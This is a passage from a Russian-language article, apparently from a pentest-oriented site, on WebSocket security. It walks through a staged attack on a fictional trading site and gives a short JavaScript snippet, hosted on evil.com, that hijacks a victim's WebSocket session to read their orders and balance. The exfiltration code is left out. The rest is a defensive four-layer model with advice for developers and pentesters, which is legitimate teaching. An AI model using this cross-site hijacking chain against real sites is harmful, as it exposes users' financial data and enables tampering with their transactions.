  • Лимиты на скорость (limit_rate after 10m), если они нужны.
  • Возможно, отдельный limit_conn_zone для контроля количества одновременных WS-соединений с одного IP.
Он не виноват. Он мыслит категориями HTTP-проксирования. WebSocket для него просто «ещё один протокол, который нужно пропустить». Глубже он не идёт, потому что документация по приложению редко содержит раздел «Требования к проксированию WebSocket для эксплуатации в продакшене». Итог: приложение вроде работает, но соединения сами рвутся через 60 секунд, или балансировщик падает под нагрузкой из-за миллионов «висящих» WS-соединений, или, что хуже, бэкенд не получает куки и считает всех анонимными пользователями, открывая дверь для любого.

Мы прошли путь от битых фреймов до CSRF, от парсинга до инъекций. Видели, как можно тихо, без шума, слушать личные сообщения или подменять транзакции.

Давай теперь сделаем из этого не перечень, а нарратив. Историю одной возможной атаки, которая использует всю эту цепочку провалов.

Акт 1: Разведка. Злоумышленник (скажем, мы) смотрит на приложение target-trade.com. В исходном коде страницы находим:
const ws = new WebSocket('wss://api.target-trade.com/ws/v1');. Отлично, эндпоинт есть.
Акт 2: Анализ рукопожатия. Нашим ws-harness проверяем Origin. Отправляем с Origin: httрs://evil.com. Соединение устанавливается. Первая победа: сервер не проверяет Origin. Это значит, что любой сайт, который посетит наш жертва (трейдер), сможет от его лица открыть скрытое WS-соединение к торговому серверу.
Акт 3: Анализ протокола. Через DevTools смотрим трафик своего легитимного пользователя. Видим последовательность: после подключения клиент отправляет {"auth": "Bearer eyJhbGciOiJIUzI1NiIs..."} - JWT-токен. Дальше идут подписки: {"sub": "orders:user_123"}, {"sub": "quotes:AAPL"}.
Потом команды: {"order": "buy", "qty": 10, "symbol": "AAPL"}. Протокол понятен.
Акт 4: Поиск слабины. Замечаем, что для подписки на канал orders:user_123 используется просто ID пользователя. Пробуем от своего авторизованного пользователя подписаться на orders:user_456. Сервер разрешает и начинает присылать чужие ордера. Вторая победа: отсутствие изоляции каналов.
Акт 5: Создание эксплуатационной цепочки. Мы не знаем JWT-токен жертвы. Но нам это и не нужно. Мы используем первую уязвимость (Origin Hijacking + CSRF). Пишем страницу на evil.com:

JavaScript:
const targetWs = new WebSocket('wss://api.target-trade.com/ws/v1');
targetWs.onopen = () => {
// 1. Подписываемся на все личные каналы жертвы (её ID мы знаем из публичного профиля).
targetWs.send(JSON.stringify({"sub": "orders:user_456"}));
targetWs.send(JSON.stringify({"sub": "balance:user_456"}));
// 2. Ждём, когда придут данные, и тихо сливаем их на наш сервер.
};
// ... код для пересылки данных

Акт 6: Атака. Подсовываем жертве эту страницу (фишинг, реклама, XSS на другом сайте). Жертва её посещает. В фоне, без каких-либо видимых действий, её браузер открывает WS к торговому серверу, используя её же сессионные куки (которые браузер подставит автоматически). Наш скрипт получает полный доступ к её потоку ордеров и балансу в реальном времени. Тишина. Ни всплывающих окон, ни подозрительных переходов. Протокол WS не имеет встроенного механизма для уведомления пользователя о новых подключениях. Это не OAuth, где просят подтвердить доступ.

А можно пойти дальше. Если в протоколе есть команда "cancelOrder", и она не проверяет, что отменяемый ордер принадлежит текущему пользователю (а доверяет каналу, из которого пришло сообщение), то мы можем отправить {"cancelOrder": "order_id_789"} и отменить чужую заявку, нанеся финансовый ущерб. Это уже не просто подслушивание, а подмена транзакций.

Всё это не сценарий из фантастического фильма. Это последовательное применение найденных уязвимостей конфигурации и логики.

Важно помнить: каждая новая технология в стеке - это не только фичи, но и новые риски. Особенно когда эта технология ломает старые парадигмы.

Здесь нужно сделать важное уточнение. Риски возникают не из-за новизны, а из-за разрыва шаблона. Человеческий мозг, и в частности мозг разработчика и админа, ищет аналогии. «О, WebSocket - это как долгий HTTP-запрос» или «Это как сокет, но в браузере». Эти аналогии - мины замедленного действия.
  • Парадигма HTTP: «запрос-ответ». Защищаем каждый запрос. Сессия - это кука. Безопасность - это валидация входных параметров и проверка куки.
  • Парадигма WebSocket: «постоянное соединение-сессия». Защищаем установление соединения и каждое сообщение внутри него. Сессия - это объект WebSocketClient в памяти сервера, привязанный к пользователю. Безопасность - это а) проверка при коннекте (Origin, аутентификация), б) stateful-валидация каждого входящего фрейма/сообщения, в) контроль за состоянием этого объекта (не исчерпал ли лимиты, не пытается ли выполнить несовместимые действия).
Когда технология ломает старую парадигму, все наработанные годами практики, туториалы и конфиги становятся частично или полностью неверными. Наступает период хаоса внедрения, когда уязвимости плодятся не потому, что технология плоха, а потому что к ней применяют старые, неподходящие решения. Так было с AJAX (привет, CSRF), с SPA (роутинг, аутентификация), с микросервисами (безопасность межсервисного общения). Теперь с WebSocket и его собратьями (SSE, WebRTC data channels).

Теперь у тебя есть карта этой территории. Инструменты, которые ты можешь доработать под свои нужды. И, что важнее, понимание логики атак.

Карта - это не просто список пунктов «что проверить». Это понимание слоёв:
  1. Слой транспорта (фреймы): Где бьют по парсеру, где по таймаутам, где по маскам.
  2. Слой рукопожатия (HTTP-upgrade): Где подделывают Origin, где играют с подпротоколами, где перехватывают/угадывают токены аутентификации.
  3. Слой сессии (подключение): Как сервер хранит состояние, как привязывает его к пользователю, как изолирует, как контролирует (лимиты).
  4. Слой протокола приложения (сообщения): Где инъекции, где недостаточная авторизация, где race conditions, где логические ошибки.
Инструменты (ws-harness, ws_fuzzer, скрипты для mitmproxy) - это кирка и лопата для исследования этой карты. Их ценность не в том, чтобы запустить и получить красный или зелёный свет. Их ценность в том, чтобы задать системе вопрос и понять по её ответу (или отсутствию ответа), как она устроена внутри. Молчание в ответ на битый фрейм? Значит, парсер упал. Соединение принимается с любым Origin? Значит, дверь открыта для хайджекинга. Сообщение {"cmd": "debug"} возвращает стектрейс? Значит, есть скрытый недокументированный протокол.

Понимание логики атак - это главное. Это переход от тактики («проверить Origin») к стратегии («понять, как злоумышленник может превратить доверительный канал в инструмент скрытого наблюдения и управления»). Это позволяет тебе думать, как атакующий, даже когда конкретного скрипта для атаки ещё не существует. Ты начинаешь видеть потенциал для атаки в самой архитектуре решения.

Используй это для защиты своих систем. И, если уж проводишь пентест, - ищи эти дыры. Они есть. Поверь.

Здесь нет места снисхождению. Фраза «они есть» - не фигура речи. Это статистическая и эмпирическая данность. По данным отчётов по безопасности (например, от Bugcrowd или HackerOne), уязвимости, связанные с недостаточной проверкой Origin и неправильной авторизацией в WebSocket, находятся в топе находок на современных веб-приложениях. Их находят не потому, что они сложные, а потому, что их не ищут целенаправленно. Стандартные методики пентеста часто ограничиваются поверхностной проверкой: «Есть ли WSS? Ок, идём дальше».

Поэтому защита своих систем начинается с признания проблемы. С того, что ты, как архитектор или разработчик, отдаёшь себе отчёт: «Вот этот красивый, живой канал - это не трубка между двумя доверенными комнатами. Это туннель, прорытый из враждебного интернета прямо в самое сердце моей бизнес-логики. И на входе в этот туннель должен стоять не просто шлагбаум (рукопожатие), а полномасштабный контрольно-пропускной пункт с детектором лжи, рентгеном и вооружённой охраной».

А если ты пентестер - ищи эти дыры настойчиво. Не проходи мимо вкладки WebSockets в DevTools. Используй инструменты для фаззинга не только HTTP, но и WS-протокола. Внедряй проверки Origin и авторизации в список обязательных тестов. Твоя задача - не пройти галочкой пункт «проверил WebSocket», а осознанно протестировать все четыре слоя, которые мы описали. Ты знаешь логику. Ты знаешь, где прячется слабость. Ищи её.

Оставайся любопытным. И осторожным.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab